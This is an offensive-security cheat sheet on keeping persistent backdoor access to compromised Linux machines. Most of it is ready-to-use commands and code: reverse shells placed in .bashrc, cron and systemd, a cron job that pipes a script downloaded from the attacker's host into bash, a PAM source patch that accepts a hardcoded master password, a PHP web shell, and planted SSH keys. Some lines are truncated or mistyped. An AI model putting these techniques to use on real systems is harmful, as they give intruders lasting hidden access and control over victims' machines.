Linux Backdoors

Last modified: 2023-03-19

Privilege Escalation

After compromising a target machine, the adversary attempts to establish persistent access. This page lists some methods of backdoors in Linux for persistence.


Add this line to /root/.bashrc or /home/<user>/.bashrc to gain access to target machine by reverse shell when the victim user logged in.

bash -i >& /dev/tcp/

Of course we need to always open netcat listener to be able to fetch incoming connection from the target.

nc -lvnp 4444


Add this line to the cron file like /etc/crontab in the target machine.

* * * * * root curl http://<local-ip>:<local-port>/shell | bash

Create the “shell” file in local machine.
Replace <local-ip> with your ip address.

bash -i >& /dev/tcp/<local-ip>/4444 0>&1

Now start local web server in local machine. Note that your current working direcotry need to be where the “shell” is located.

python3 -m http.server 4444

Once the cron job downloads the “shell” file, run “bash” command to execute the “shell”.
We should gain access to the target shell.

The module is likely located in /usr/lib/security or /usr/lib/x86_64-linux-gnu/security directory. It automatically detects and uses shadow passwords to authenticate users.
See this line in the


/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;


Modify this line to as below.


/* verify the password of this user */
if (strcmp(p, "hackyou123") != 0) {
	retval = _unix_verify_password(pamh, name, p, ctrl);
} else {
	retval = PAM_SUCCESS;
name = p = NULL;



Whenever you login to the target system using the password “hackyou123”, you can successfully login.


1. Create a Payload

Create a php file (e.g. shell.php) into /var/www/html.


	if (isset($_REQUEST['cmd'])) {
		echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";


Leave the php file in /var/www/html.

2. Reverse Shell

After that, start a listener for receiving the outcomming connection.

nc -lvnp 4444

Now access to the web page as below.
Replace <local-ip> with your ip address.

http://<target-ip>/shell.php?cmd=bach -i >& /dev/tcp/<local-ip>/4444 0>&1

We should get a shell.


We can establish a backdoor to allow us to be able to connect the target SSH server anytime by leaving our public key in the target machine.

1. Generate a New SSH key

First off, run the following command to generate SSH key.


It will generate two keys, private key (id_rsa) and public key (

2. Transfer Our SSH Public Key to Target System

If there is no .ssh directory in target, we need to create it.

mkdir .ssh

Then put our public key ( into /root/.ssh or /home/<user>/.ssh in the target machine.
scp command can be used for transfering it. Replace <target-user> and <target-iip> depending on your target.

scp ./ <target-user>@<target-ip>:/root/.ssh/
# or
scp ./ <target-user>@<target-ip>:/home/<target-user>/.ssh/

3. Add the Public Key Content to authorized_keys

Also we need to add the content of our to the target authorized_keys file.

cat >> authorized_keys

4. Change Permission of SSH

In target machine, we need to set the right permissions of the file/directory. Otherwise we cannot connect SSH. Replace <target-user> with your target.

chmod 700 /root
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
# or
chmod 700 /home/<target-user>
chmod 700 /home/<target-user>/.ssh
chmod 600 /home/<target-user>/.ssh/authorized_keys

5. Connect to SSH Anytime

After that, we can connect to the target SSH when we want to connect it as long as the public key in .ssh directory is not removed. Before connecting, we need to modify the permission of our private key in local.

chmod 600 private_key

Now we can connect to SSH of the target.

ssh root@<target-ip> -i private_key
# or
ssh <target-user>@<target-ip> -i private_key


We can use systemd as a backdoor because an arbitrary command will be executed when a service start.
The command is stored in [Services] section in the configuration file.

1. Create a New Systemd Config File

Create /etc/systemd/system/backdoor.service in target machine.
This service will execute reverse shell when starting.
Replace <local-ip> with your ip address.


ExecStart=/bin/bash -i >& /dev/tcp/<local-ip>/4444 0>&1


Then enable the service.

systemctl enable backdoor

Now this service will start when the target system boots.

2. Wait for Reverse Connecting

We need to leave the netcat listener running in local machine.

nc -lvnp 4444

Then we'll get a shell anytime the service starts.